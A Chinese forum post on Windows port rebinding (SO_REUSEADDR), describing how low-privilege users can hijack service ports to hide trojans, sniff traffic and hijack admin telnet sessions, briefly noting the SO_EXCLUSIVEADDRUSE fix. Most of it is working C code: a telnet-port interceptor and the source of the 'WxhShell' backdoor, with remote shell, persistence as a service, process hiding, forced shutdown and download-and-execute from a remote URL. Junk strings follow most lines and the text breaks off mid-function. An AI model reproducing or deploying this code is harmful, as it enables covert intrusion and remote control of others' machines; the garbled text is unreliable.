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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: phkwN}6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g'f@H-KCD  
tIi&;tw]  
  saddr.sin_family = AF_INET; dbLZc$vPj  
OO\+J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pQ">UL*  
iU918!!N   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LP^$AAy  
z kP_6T09  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f5"k55}  
)}R0Y=e  
  这意味着什么?意味着可以进行如下的攻击:  ~NgA  
]! &FKy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BZ#(   
Y Uc+0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pad*oPH,  
&E F!OBR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \sixI;-2  
bP#:Oi0v`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9=M$AB  
;+_:,_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tT8%yG}  
2|y"!JqE1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +/7?HGf  
SR hiQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yzn%<H~  
G Vr1`l  
  #include TqQB@-!  
  #include /HEw-M9z  
  #include #MkTkm&r  
  #include    N% B>M7-=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wu6;.xTLl  
  int main() 8rGgF]F  
  { g-k|>-h  
  WORD wVersionRequested; nAato\mM  
  DWORD ret; j_[tu!~  
  WSADATA wsaData; +E+p"7  
  BOOL val; ",t?8465y  
  SOCKADDR_IN saddr; **0~K";\  
  SOCKADDR_IN scaddr; sdrfsrNvB-  
  int err; %0?KMRr  
  SOCKET s; xu%k~4cB,  
  SOCKET sc; qZh/IW  
  int caddsize; aK~8B_5k8  
  HANDLE mt; K3m/(jdO  
  DWORD tid;   -ad{tJV|  
  wVersionRequested = MAKEWORD( 2, 2 ); :kV#y  
  err = WSAStartup( wVersionRequested, &wsaData ); }#+^{P3;  
  if ( err != 0 ) { Po0A#Zl  
  printf("error!WSAStartup failed!\n"); kazzVK5x  
  return -1; QL/(72K  
  } rXq.DvQ  
  saddr.sin_family = AF_INET; cZ*@$%_  
   T Z@]:e:"b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7z,C}-q  
G _tCmu\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `[yKFa I  
  saddr.sin_port = htons(23); Zl!kJ:0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RBd7YWo\|j  
  { 8W7J3{d  
  printf("error!socket failed!\n"); I][*j  
  return -1; 1.hyCTnI  
  } >6-`}G+|  
  val = TRUE; hfB%`x#akQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .V<+v-h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3\,4 ]l|  
  { 7EEl +;wK  
  printf("error!setsockopt failed!\n"); LOYk9m  
  return -1; G!##X: 6'  
  } gJ+'W1$/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V Q@   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e%M;?0j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y|qTyE%  
{S \{Ii6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?j.,Nw4FC  
  { {YC@T(  
  ret=GetLastError(); ]/6z; ~3U  
  printf("error!bind failed!\n"); H8jpxzXv  
  return -1; 1GRCV8 "Z^  
  } >R_&Ouh:  
  listen(s,2); J)> c9w  
  while(1) wHLLu~m\  
  { RB\uK 1+  
  caddsize = sizeof(scaddr); _f,C[C[e&  
  //接受连接请求 r5/0u(\LB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T>Z<]s  
  if(sc!=INVALID_SOCKET) 0mVNQxHI  
  { |r/"  |`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gJ{)-\  
  if(mt==NULL) Fo_sgv8O<  
  { H?Wya.7  
  printf("Thread Creat Failed!\n"); !< ";cw(q  
  break; J;e2&gB  
  } C) s5D  
  } 0+ '&`Q!u  
  CloseHandle(mt); 5tk AFb4P  
  } $PPi5f}HD  
  closesocket(s); Zi i   
  WSACleanup(); 7]bGc \  
  return 0; b|DdG/O  
  }   (t|Zn@uY  
  DWORD WINAPI ClientThread(LPVOID lpParam) w9imKVry  
  { *^4"5X@  
  SOCKET ss = (SOCKET)lpParam; 33q}CzK  
  SOCKET sc; ^ @5QP$.  
  unsigned char buf[4096]; V!=,0zy~Z  
  SOCKADDR_IN saddr; *&W"bOMH*  
  long num; `w Vyb>T  
  DWORD val; &z3o7rif$  
  DWORD ret; J@'wf8Ub  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "S]TP$O D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SfyQ$$Z  
  saddr.sin_family = AF_INET; CRE3icXbQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'H!Uh]!  
  saddr.sin_port = htons(23); R n[cW5Y<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) am'7uy!ka~  
  { x9g#<2w8  
  printf("error!socket failed!\n"); X_h}J=33Q  
  return -1; cT,sh~-x,  
  } {tZ.v@  
  val = 100; m s \}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {\5  
  { =T@1@w  
  ret = GetLastError(); )10+@d  
  return -1; <'*LRd$1  
  } 0~S^Y1hH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \b x$i*  
  { *)Zdz9E'1(  
  ret = GetLastError(); f6Ah6tb  
  return -1; CTa57R  
  } q} >%8;nm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O>,e~#!  
  { IJ"q~r$  
  printf("error!socket connect failed!\n"); pnOAs&QAm  
  closesocket(sc); oPM96 (  
  closesocket(ss); }Y\%RA  
  return -1; EQM {  
  } T8g$uFo  
  while(1) /x$nje,.  
  { =H8;iS2R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6&x@.1('z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7:1Lol-V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c@7rqHU-0  
  num = recv(ss,buf,4096,0); p5iuYHKk?  
  if(num>0) &QgR*,5eo  
  send(sc,buf,num,0); R m( "=(  
  else if(num==0) } Kgy  
  break; /8S>;5hvK@  
  num = recv(sc,buf,4096,0); T~e.PP  
  if(num>0) |{ip T SH  
  send(ss,buf,num,0); S1_RjMbYM  
  else if(num==0) #6=  
  break; rILYI;'o  
  } l f, 5w  
  closesocket(ss); ?caSb =f  
  closesocket(sc); [W&T(%(W-  
  return 0 ; S9.o/mr  
  } 4pvMd  
hgq;`_;1,  
0=YI@@n)  
========================================================== qE"OB  
zDG b7S{  
下边附上一个代码,,WXhSHELL H:| uw  
9'B `]/L  
========================================================== |BXg/gW  
Dd|VMW=  
#include "stdafx.h" 2^7`mES  
AK4t\D)K1  
#include <stdio.h> guR/\z$D@C  
#include <string.h> W=?<<dVYD  
#include <windows.h> ? J0y|  
#include <winsock2.h> Bzf^ivT3L  
#include <winsvc.h> I?CZQ+}Hq  
#include <urlmon.h> i ct])  
R|(a@sL  
#pragma comment (lib, "Ws2_32.lib") E1 2uZ$X  
#pragma comment (lib, "urlmon.lib") jP.dDYc  
8s@3hXD&  
#define MAX_USER   100 // 最大客户端连接数 >t+P(*u  
#define BUF_SOCK   200 // sock buffer jH:[2N?  
#define KEY_BUFF   255 // 输入 buffer f o3}W^0  
;uGv:$([g  
#define REBOOT     0   // 重启 F+qm[Bc8  
#define SHUTDOWN   1   // 关机 flx(HJK  
@6.vKCSE  
#define DEF_PORT   5000 // 监听端口 ]SEZaT  
sI2^Qp@O1  
#define REG_LEN     16   // 注册表键长度 h(DTa  
#define SVC_LEN     80   // NT服务名长度 QT}tvm@PMq  
<P<z N~i9j  
// 从dll定义API 5^Zg>I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4xj4=C~i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X?Q4}Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h";L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 53 h0UL  
ca9X19NG  
// wxhshell配置信息 ckn(`I  
struct WSCFG { {!`6zBsP  
  int ws_port;         // 监听端口 HzJz+ x:  
  char ws_passstr[REG_LEN]; // 口令 ]?4hyN   
  int ws_autoins;       // 安装标记, 1=yes 0=no 8@R|Km5h  
  char ws_regname[REG_LEN]; // 注册表键名 Fr-SvsNFB  
  char ws_svcname[REG_LEN]; // 服务名 7tp36TE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l[J8!u2Xp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P+}h$ _x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zt%Mx>V@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WIGi51yC.x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r JB}qYD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ALHIGJW:6$  
8P`"M#fI  
}; eMzk3eOJ  
5)40/cBe  
// default Wxhshell configuration 46;uW{EY  
struct WSCFG wscfg={DEF_PORT, XWw804ir  
    "xuhuanlingzhe", {;oPLr+Z  
    1, J}t%p(mb  
    "Wxhshell", %TqC/c  
    "Wxhshell", 6eCCmIdaM  
            "WxhShell Service", <UCl@5g&  
    "Wrsky Windows CmdShell Service", /wG2vE8e  
    "Please Input Your Password: ", '+ ?X  
  1, +7}]E1Uf  
  "http://www.wrsky.com/wxhshell.exe", j<$2hiI/?&  
  "Wxhshell.exe" l,).p  
    }; G~m<;  
khd4ue$  
// 消息定义模块 >Q*Wi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \)e'`29;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bbc^FHip  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d;>QhoiL  
char *msg_ws_ext="\n\rExit."; ~LC-[&$  
char *msg_ws_end="\n\rQuit."; KPki}'GO  
char *msg_ws_boot="\n\rReboot..."; CC`JZ.SO  
char *msg_ws_poff="\n\rShutdown..."; 7EJ+c${e.-  
char *msg_ws_down="\n\rSave to "; $cg cX  
+ge?w#R  
char *msg_ws_err="\n\rErr!"; t JmTBsn  
char *msg_ws_ok="\n\rOK!"; 2 E= L8<  
;VK.2^jW!  
char ExeFile[MAX_PATH]; ~J]qP#C  
int nUser = 0; rl.}%Ny  
HANDLE handles[MAX_USER]; 7 8,n%=nG  
int OsIsNt; '%;m?t% q  
^J{:x  
SERVICE_STATUS       serviceStatus; PY'2h4IL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S jj6q`  
@)}L~lb[)  
// 函数声明 Y-9I3?ar  
int Install(void); c@Is2 9t*  
int Uninstall(void); l-3~K-k<@  
int DownloadFile(char *sURL, SOCKET wsh); 18Emi<&A  
int Boot(int flag); Ort(AfW  
void HideProc(void); p<%d2@lp  
int GetOsVer(void); 76SXJ9@x  
int Wxhshell(SOCKET wsl); !IR6 ,A\  
void TalkWithClient(void *cs); @VI@fN  
int CmdShell(SOCKET sock); @6]JIJE  
int StartFromService(void); @F>D+=hS  
int StartWxhshell(LPSTR lpCmdLine); [>9is=>o.  
gDzK{6Z}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u&e~1?R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YkADk9fE  
}0 ?3:A  
// 数据结构和表定义 iDD$pd,e\  
SERVICE_TABLE_ENTRY DispatchTable[] = fV~~J2IK  
{ iRBfx  
{wscfg.ws_svcname, NTServiceMain}, +,l-Nz  
{NULL, NULL} kf9X$d6   
}; m[2gdJK  
ig"L\ C"T  
// 自我安装 bK7J}8hH  
int Install(void) &3&HY:yF  
{ g{LP7 D;6  
  char svExeFile[MAX_PATH]; )PZT4jTt  
  HKEY key; V~#tuv  
  strcpy(svExeFile,ExeFile); d=^z`nt !R  
r|Z{-*`  
// 如果是win9x系统,修改注册表设为自启动 3XKf!P  
if(!OsIsNt) { k{0o9,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sq]F;=[5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < Z$J<]I  
  RegCloseKey(key); 9u_Pj2%56.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8EY:t zw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7:~_D7n  
  RegCloseKey(key); q\)-BXw:  
  return 0; T{'RV0%   
    } Ca-j?bb!  
  } /Kbl%u  
} {+Jv+J9  
else { DwF hK*  
#E]59_  
// 如果是NT以上系统,安装为系统服务 Z:gyz$9w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7 [7"A  
if (schSCManager!=0) JS77M-Ac  
{ 6C)_  
  SC_HANDLE schService = CreateService xD$\,{  
  ( -qoH,4w  
  schSCManager, 8Y?;x}  
  wscfg.ws_svcname, q(}bfIf  
  wscfg.ws_svcdisp, L(\cHb9`  
  SERVICE_ALL_ACCESS, .^.z2 e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ce(#2o&`  
  SERVICE_AUTO_START, Ca\6vR  
  SERVICE_ERROR_NORMAL, #"an9<  
  svExeFile, w =KPT''!  
  NULL, %)n=x ne  
  NULL, lfg6646?S  
  NULL, WhDJ7{D  
  NULL, 4P0}+  
  NULL 11lsf/IP  
  ); x"g&#Vq ~  
  if (schService!=0) EV?z`jE9  
  { W!<U85-#S  
  CloseServiceHandle(schService); j.YA 2mr  
  CloseServiceHandle(schSCManager); +|rj4j)L&'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 28nFRr  
  strcat(svExeFile,wscfg.ws_svcname); SAz   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OJxl<Q=z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j!ch5A  
  RegCloseKey(key); W>LR\]Ti@  
  return 0; D,6:EV"sa  
    } t&p|Ynz?i  
  } 'PHl$f*k  
  CloseServiceHandle(schSCManager); +h$ 9\  
} cnLro  
}  3CJwj  
KTv$  
return 1; -YE^zzh  
} d'2A,B~_*  
~5g~;f[4  
// 自我卸载 %3 rP `A  
int Uninstall(void) Cyp'?N  
{ olcDt&xv]  
  HKEY key; Y$zSQ_k;U  
Q.[0ct  
if(!OsIsNt) { P*o9a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t^L]/$q  
  RegDeleteValue(key,wscfg.ws_regname); 5X+A"X ;C  
  RegCloseKey(key); g+l CMW\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z{R>  
  RegDeleteValue(key,wscfg.ws_regname); U6VKMxSJ  
  RegCloseKey(key); BuwY3F\-O  
  return 0; Xeaj xcop#  
  } [gB+C84%%  
} F\! `/4  
} {8aTV}Ha2  
else { *] (iS  
l^qI, M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _j3fAr(V  
if (schSCManager!=0) |{8Pb3#U  
{ 626r^c=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rGO8!X 3d  
  if (schService!=0) :-'qC8C  
  { ]{iQ21`a-  
  if(DeleteService(schService)!=0) { $C\BcKlmv  
  CloseServiceHandle(schService); ZW}_DT0  
  CloseServiceHandle(schSCManager); l ,8##7  
  return 0; MPV5P^@X  
  } nR~(0G,H  
  CloseServiceHandle(schService); RpF&\x>  
  } Ned."e  
  CloseServiceHandle(schSCManager); KSvE~h[#+  
} ys~x $  
} 6 r"<jh#  
ise-O1'  
return 1; &vJH$R  
} :>*7=q=  
_L PHPj^Pg  
// 从指定url下载文件 xwr8`?]y  
int DownloadFile(char *sURL, SOCKET wsh) "8RSvT<W^5  
{ ! z**y}<T  
  HRESULT hr; P'2Qen*  
char seps[]= "/"; E3i4=!Y  
char *token; 6-I'>\U~  
char *file; +H.`MZ=  
char myURL[MAX_PATH]; FtZ?C@1/  
char myFILE[MAX_PATH]; >bxS3FCX  
YN,A )w:]  
strcpy(myURL,sURL); q@&6#B  
  token=strtok(myURL,seps); R@0R`Zs  
  while(token!=NULL) p[-O( 3Y  
  { R2;  
    file=token; 1,~D4lD|  
  token=strtok(NULL,seps); y^k$Us  
  } KP"+e:a%  
Rv=YFo[B  
GetCurrentDirectory(MAX_PATH,myFILE); Vj-h;rB0z  
strcat(myFILE, "\\"); Th%zn2R B  
strcat(myFILE, file); <[phnU^ 8  
  send(wsh,myFILE,strlen(myFILE),0); yuVs YV@"  
send(wsh,"...",3,0); GmG 5[?)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AdmC&!nH  
  if(hr==S_OK) :+Z%; Dc  
return 0; =I4lL]>  
else >Q/Dk7#  
return 1; VQs5"K"  
[e q&C_|D  
} :U\tv[  
,bd_:  
// 系统电源模块 5bIw?%dk(  
int Boot(int flag) SKtrtm  
{ OVJ0}5P*  
  HANDLE hToken; ~dSr5LUD  
  TOKEN_PRIVILEGES tkp; Z G:{[sT  
s.#`&Sd>  
  if(OsIsNt) { z{6Z 11|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l.]xB,k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h 0|s  
    tkp.PrivilegeCount = 1; L-Lvp%%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >usL*b0%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =v\.h=~~  
if(flag==REBOOT) { ':q p05t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *R"/|Ka  
  return 0; O< I-  
} lFk R=!?=  
else { 0%B/,/PxD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s*4dxnS_8  
  return 0; <$YlH@;)`a  
} vIvIfE  
  } #z(]xI)"  
  else { 6LZCgdS{  
if(flag==REBOOT) { H+#FSdy#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *v`eUQ:  
  return 0; &[9709 (=  
} r^ XVB`v  
else { jCY %|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :]"V-1#}  
  return 0; gIfh3D=yX  
} uO**E-`  
} DH=hH&[e(d  
FwK] $4*  
return 1; NHt\ U9l'  
} N#] ypl  
f^e)O$N9]  
// win9x进程隐藏模块 3^ClAE"8  
void HideProc(void) 7=uj2.J6  
{ JT?h1v<H]  
WAqINLdX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _g8yDfcLG  
  if ( hKernel != NULL ) ^Pf WG*  
  { y7{?Ip4[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :m;p:l|W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /1 dT+>  
    FreeLibrary(hKernel); / 1RpM]d  
  } #Y! a6h+  
VUc%4U{Cti  
return; F@t3!bj9  
} Mt$ *a  
B?QIN]  
// 获取操作系统版本 x^ni1=kU  
int GetOsVer(void) b>W %t  
{ s"|Pdc4  
  OSVERSIONINFO winfo; V#HuIgf-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); im8CmQ  
  GetVersionEx(&winfo); / FII07V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :s,Z<^5a)g  
  return 1; n<,BmVQ  
  else ,uvRi)O>a  
  return 0; zA 3_Lx!  
} kM 6 Qp  
NbobliC=  
// 客户端句柄模块 e.>P8C<&  
int Wxhshell(SOCKET wsl) #E[0ys1O  
{ 9?$i?  
  SOCKET wsh; (Z*!#}z`  
  struct sockaddr_in client; .`lCWeHN  
  DWORD myID; !i50QA|(G  
gi8FHSU|G  
  while(nUser<MAX_USER) wY#E?,  
{ txpgO1  
  int nSize=sizeof(client); K'bP@y_cq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HQ g^ h  
  if(wsh==INVALID_SOCKET) return 1; w]H->B29C  
sK{e*[I>W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'F<TSy|4kI  
if(handles[nUser]==0) b 6p|q_e  
  closesocket(wsh); XSDpRo  
else Y73C5.dNcE  
  nUser++; :h$$J lP  
  } 0f/<7R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |>Vb9:q9Po  
ok[i<zl; '  
  return 0; ixFi{_  
} .8R@2c`}Cs  
m*pJBZxd  
// 关闭 socket NUZl`fu1Z4  
void CloseIt(SOCKET wsh) 6<]lW  
{ 2iOV/=+  
closesocket(wsh); YVU7wW,1  
nUser--; \G[$:nS  
ExitThread(0); S!UaH>Rh  
} 3<!7>]A  
M7T5 ~/4  
// 客户端请求句柄 %4H%?4  
void TalkWithClient(void *cs)  Sf'CN8  
{ QY/w  
zdYjF|  
  SOCKET wsh=(SOCKET)cs; \<' ?8ri#  
  char pwd[SVC_LEN]; DF= *_,2/  
  char cmd[KEY_BUFF]; CY1Z'  
char chr[1]; .3;;;K9a~]  
int i,j; paK2 xX8E  
*T/']t  
  while (nUser < MAX_USER) { #4PN"o@  
w}KkvP^  
if(wscfg.ws_passstr) { 6'/ #+,d'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _U(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nc`L;CP  
  //ZeroMemory(pwd,KEY_BUFF); Y|n"dMrL  
      i=0; "[J^YKoF  
  while(i<SVC_LEN) { +rd+0 `}C  
e= AKD#  
  // 设置超时 yAt ^;  
  fd_set FdRead; oxs#866x  
  struct timeval TimeOut; ? k/`  
  FD_ZERO(&FdRead);  @5FQX  
  FD_SET(wsh,&FdRead); A&VG~r$  
  TimeOut.tv_sec=8; Ytkv!]"  
  TimeOut.tv_usec=0; az$FnVNn=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v+XJ*N[W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %v|B *  
vzM ^$V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .]^?<bG  
  pwd=chr[0]; ueudRb  
  if(chr[0]==0xd || chr[0]==0xa) { G[=c Ss,  
  pwd=0; $i&zex{\  
  break; uFE)17E  
  } z_HdISy0  
  i++; 3w=J'(RU  
    } CTb%(<r  
)8AXm  
  // 如果是非法用户,关闭 socket s AkdMo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r@V!,k#S  
} rp$'L7lrX  
:X=hQ:>P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >7|VR:U?B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s[jTP(d)8  
K0~rN.C!0  
while(1) { ?4,T}@P  
A^g(k5M*  
  ZeroMemory(cmd,KEY_BUFF); dN q$}  
&~CI<\o P  
      // 自动支持客户端 telnet标准    ];m_4  
  j=0; gdc<ZYcM  
  while(j<KEY_BUFF) { 7#Ft|5$~q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tw;}jh  
  cmd[j]=chr[0]; 1Mzmg[L8  
  if(chr[0]==0xa || chr[0]==0xd) { [JiH\+XLPs  
  cmd[j]=0; f|5co>Hk  
  break; 7.Op<  
  } <E~'.p,  
  j++; X'srL j.  
    } dV_G1'  
]^E?;1$f?  
  // 下载文件 e6*8K@LHB  
  if(strstr(cmd,"http://")) { _>+Ld6.T6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lxx2H1([  
  if(DownloadFile(cmd,wsh)) RZLq]8pM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FrS]|=LJhX  
  else vXs"Dst  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tmq OJ  
  } ?s01@f#  
  else { [,Gg^*umS  
`yyG/l  
    switch(cmd[0]) { 6x`t{g]f,  
  QRUz`|U  
  // 帮助 [0!(xp^  
  case '?': { 01]f2.5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K- v#.e4  
    break; us-L]S+lm  
  } B#A6v0Ta  
  // 安装 -@'FW*b  
  case 'i': { Lbgi7|&  
    if(Install()) Wr 4,YQM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK*TE5]  
    else 1EK *g;H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dO'(2J8  
    break; {: /}NpA$  
    } ?uu*L6  
  // 卸载 aE8VZ8tvq  
  case 'r': { Dt@SqX:~Ee  
    if(Uninstall()) Nn6%9PX_)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kiEa<-]  
    else w )f#V s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#Wd~~d  
    break; )=+|i3]U  
    } 5pX6t  
  // 显示 wxhshell 所在路径 6nn *]|7  
  case 'p': { itz,m r P  
    char svExeFile[MAX_PATH]; ("KF'fp&M2  
    strcpy(svExeFile,"\n\r"); =_CzH(=f#  
      strcat(svExeFile,ExeFile); "oyo#-5z  
        send(wsh,svExeFile,strlen(svExeFile),0);  wwqEl(  
    break; Wtnfa{gP%  
    } F?0Ykjh3  
  // 重启 vM={V$D&  
  case 'b': { pa+hL,w{6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :OT&  
    if(Boot(REBOOT)) M\j.8jG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E .h*g8bXe  
    else { 0GwR~Z}Z  
    closesocket(wsh); 6tZI["\   
    ExitThread(0); awRX1:T#;O  
    } ~N4m1s"  
    break; 0GLM(JmK  
    } Gv&V|7-f0  
  // 关机 P \I|,  
  case 'd': { Pz7XAcPQ(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X$ D6Ey  
    if(Boot(SHUTDOWN)) kh<2BOV  
